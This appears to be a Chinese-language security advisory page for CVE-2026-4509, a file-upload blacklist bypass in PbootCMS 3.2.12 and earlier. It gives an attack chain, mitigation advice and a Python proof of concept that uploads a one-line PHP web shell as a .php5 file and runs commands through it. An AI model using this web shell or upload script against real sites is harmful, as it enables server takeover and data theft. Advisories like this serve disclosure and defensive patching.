IPBUF安全漏洞报告
English
CVE-2026-4509 CVSS 6.3 中危

CVE-2026-4509 PbootCMS文件上传漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-4509
漏洞类型
文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PbootCMS

相关标签

文件上传PbootCMS黑名单绕过RCE

漏洞概述

PbootCMS 3.2.12 及以下版本中存在一处安全漏洞,该漏洞源于 `core/function/file.php` 文件上传组件的黑名单过滤机制不完整。攻击者可利用此缺陷,通过精心构造恶意文件并操纵上传参数,成功绕过服务器的安全检测,远程上传 Webshell 等恶意文件。利用该漏洞仅需低权限用户身份,可能导致服务器被完全控制,造成敏感数据泄露或系统瘫痪。

技术细节

该漏洞的技术核心在于 PbootCMS 的文件上传处理逻辑存在设计缺陷。受影响组件 `core/function/file.php` 在验证用户上传的文件时,依赖于一个名为 `black` 的参数来定义禁止上传的文件扩展名列表。然而,该黑名单机制并不完整,未能涵盖所有可能导致远程代码执行的 Web 脚本后缀,例如 `.php5`, `.phtml`, `.shtml` 等,或者对文件名解析逻辑处理不当。攻击者利用此漏洞首先需要获得一个低权限的账户(如注册会员或普通编辑),以满足 CVSS 向量中的 PR:L 要求。随后,攻击者构造包含恶意 PHP 代码的文件,并将后缀修改为黑名单未涵盖的扩展名(如 `shell.php5`)。通过向服务器的上传接口发送该文件,服务器端验证逻辑未能识别出威胁,将文件成功存储在 Web 根目录下。最后,攻击者直接通过浏览器请求该文件 URL,触发服务器解析并执行恶意代码,从而获取服务器权限。

攻击链分析

STEP 1
侦察
识别目标系统为 PbootCMS,且版本低于 3.2.12。
STEP 2
获取权限
注册或通过弱口令获取一个低权限账户(如前台会员)。
STEP 3
漏洞利用
使用低权限账户登录,访问文件上传接口,上传包含恶意代码且后缀为 .php5 的文件,绕过黑名单检测。
STEP 4
执行代码
在浏览器中访问上传的文件路径,传入系统命令参数,在服务器端执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target.com" login_url = f"{target_url}/index.php?p=/admin/Login/index" upload_url = f"{target_url}/index.php?p=/admin/Upload" # Hypothetical endpoint # Attacker credentials (Low privilege required) username = "attacker" password = "password" # 1. Establish session and login session = requests.Session() payload = { "username": username, "password": password, "check": None # Add captcha/verification token if needed } print(f"[*] Attempting login as {username}...") # r = session.post(login_url, data=payload) # if "success" not in r.text: # print("[-] Login failed") # exit() # 2. Exploit File Upload (Blacklist Bypass) # The blacklist likely blocks .php but misses .php5 or .phtml shell_content = "<?php system($_GET['cmd']); ?>" files = { 'file': ('exploit.php5', shell_content, 'application/octet-stream') } data = { 'upload': 'submit' } print("[*] Uploading malicious file...") r = session.post(upload_url, files=files, data=data) if r.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Access your shell at: {target_url}/upload/exploit.php5?cmd=whoami") else: print("[-] Upload failed.")

影响范围

PbootCMS <= 3.2.12

防御指南

临时缓解措施
在未升级补丁前,建议通过配置 Web 服务器(如 Nginx/Apache),严格禁止上传目录(如 /upload/)下的 PHP 脚本解析权限。同时,加强后台管理员的身份认证机制,防止低权限账户被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表